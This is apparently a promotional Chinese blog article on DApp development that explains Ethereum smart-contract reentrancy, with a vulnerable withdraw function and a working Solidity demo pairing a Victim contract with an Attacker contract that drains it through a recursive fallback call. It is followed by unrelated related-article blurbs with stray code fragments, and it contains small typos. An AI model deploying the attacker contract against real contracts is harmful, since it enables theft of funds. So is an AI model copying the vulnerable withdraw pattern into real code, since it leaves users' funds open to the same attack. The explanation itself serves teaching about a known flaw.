智能合约DAPP项目系统开发技术介绍方案(成熟理念)技术讲解

简介: 智能合约DAPP项目系统开发技术介绍方案(成熟理念)技术讲解

以太坊智能合约的特点之一是能够调用其他外部合约的代码,然而这些外部合约可能被攻击者劫持,迫使合约通过回退函数进一步执行代码,包括回调本身。在 gas 足够的情况下,合约之间甚至可以相互循环调用,直至达到 gas 的上限,但是如果循环中有转账之类的操作,就会导致严重的后果

function withdraw(){
require(msg.sender,call.value(balances[msg.sender])());
balances[msg.sender]=0;

}

这种函数大多存在于钱包、去中心化交易所中,目的是为了让用户提款,将合约中的代币转换成通用的以太币

但是有个问题是他没有先对用户的代币余额进行清零,而智能合约进行转账的时候会调用收款方 fallback 函数

合约可以有一个未命名的函数 —— Fallback 函数。这个函数不能有参数也不能有返回值。如果在一个到合约的调用中,没有其他函数与给定的函数标识符匹配(或没有提供调用数据),那么这个函数(fallback 函数)会被执行。
另外每当合约收到以太币(没有任何数据),这个函数就会执行。此外,为了接收以太币,fallback 函数必须标记为 payable。如果不存在这样的函数,则合约不能通过常规交易接收以太币

如果构造一个 fallback 函数,函数里面也调用对方的 withdraw 函数的话,那将会产生一个循环调用转账功能,存在漏洞的合约会不断向攻击者合约转账,终止循环结束(以太坊 gas 有上限)

常用转币方式

.reansfer() 发送失败时会通过 throw 回滚状态,只会传递 2300 个 gas 以供调用,从而防止重入 .send() 发送失败时,返回布尔值 false,只会传递 2300 个 gas 以供调用,从而防止重入 .gas().call.value()() 当发送失败时,返回布尔值 false 将传递所有可用的 gas 进行调用(可通过 gas(gas _value) 进行限制),不能有效防止重入攻击 代码调试 pragma solidity ^0.4.19; contract Victim { mapping(address => uint) public userBalannce; uint public amount = 0; function Victim() payable{} function withDraw(){ uint amount = userBalannce[msg.sender]; if(amount > 0){ msg.sender.call.value(amount)(); userBalannce[msg.sender] = 0; } } function() payable{} function receiveEther() payable{ if(msg.value > 0){ userBalannce[msg.sender] += msg.value; } } function showAccount() public returns (uint){ amount = this.balance; return this.balance; } } contract Attacker{ uint public amount = 0; uint public test = 0; function Attacker() payable{} function() payable{ test++; Victim(msg.sender).withDraw(); } function showAccount() public returns (uint){ amount = this.balance; return this.balance; } function sendMoney(address addr){ Victim(addr).receiveEther.value(1 ether)(); } function reentry(address addr){ Victim(addr).withDraw(); } }
相关文章
DAPP合约系统开发逻辑技术丨DAPP成熟系统开发技术方案
动态调用允许调用者在运行时指定被调用合约及方法,无需预先知道接口。中断配置通常包括:启用外设中断、设置中断优先级分组和使能中断请求。NVIC_InitTypeDef结构体用于中断配置,包含中断源、抢占优先级、响应优先级和使能状态。中断源定义在IRQn_Type枚举中,如WWDG_IRQn、PVD_IRQn等。抢占优先级值依赖于优先级分组设定。
|
4月前
|
存储 JSON JavaScript
链游模式系统开发搭建功能丨链游系统开发项目方案(技术成熟)
首先,NFT链游系统的开发能够实现真正的去中心化。区块链技术使得NFT链游戏能够实现真正的去中心化,这意味着所有对象都是直接交互的平等个体。这样一来,所有人都能够公平地参与到NFT链游戏中来。
|
存储 安全 区块链
IPPswap/NFTswap/defiswap/OMNIswap去中心化交易所系统开发实现技术方案/源码项目/案例设计
  DApp是指基于区块练技术的去中心化应用程序,它的特点是去中心化、透明、安全、不可篡改等,DApp is an inevitable trend because it can solve problems such as centralization,data privacy,and security in traditional applications,while also achieving more fair,transparent,and decentralized application scenarios
|
开发框架 安全 区块链
公链开发方案 | 公链开发解决方案
公链开发方案旨在帮助企业和开发者构建可扩展的、安全可靠的公共区块链网络。该方案涵盖了公链设计与开发所需的全部组件,作为一名专业的公链开发人员,针对公链开发方案这块,已经拥有成熟公链开发技术,当下公链开发这块已经有成熟方案。其中包括可拓展的网络架构、安全的私钥管理、可证明的分布式账本、有效的智能合约系统以及强大的应用开发框架。这一方案可以满足企业和开发者对功能完备的区块链网络的需求,为其在分布式记账、智能合约、资产管理、投票等方面提供可靠的技术支持。
|
算法 区块链 数据库
DEFI/DAPP智能合约项目系统开发案例|(成熟方案)
区块链是由一串串区块相互连接而成params=request.getHeaderNames();
|
区块链 C++
区块链项目技术解决开发
区块链项目开发涉及多个方面,包括选择适合的编程语言、确定区块链的类型和目标定位,以及构建业务场景和进行初步分析。
摩顿Mortonn(DAPP)项目系统开发技术方案
摩顿Mortonn(DAPP)项目系统开发技术方案
|
存储 算法 区块链
链游项目系统开发(方案设计)丨DAPP链游系统开发(案例分析)/成熟技术/区块链游戏开发/源码说明
  在区块链中,每个块包含了一定数量的交易信息和该块的唯一标识符,同时还包含了前一个块的哈希值。这样的设计保证了区块之间的顺序和完整性,一旦一个块被添加到区块链中,它就不可更改。This makes blockchain a secure and trustworthy distributed ledger that can be used to record and verify various types of transactions.
|
Kubernetes 前端开发 API
NFT OpenSea平台系统开发技术方案丨技术成熟(源码部署)
NFT OpenSea平台系统开发技术方案丨技术成熟(源码部署)
156 0
|
区块链
链游开发丨3D链游系统开发(开发规则)丨DAPP链游系统开发(成熟及技术)丨源码
  区块链技术由此可以从多方面为企业赋能:提供可靠的共享数据,在各方之间建立信任;消除数据孤岛,即通过去中心化的,在一个网络中共享并支持获许可方访问的账本将数据集成到一个系统中;为数据赋予高度安全性
下一篇
无影云桌面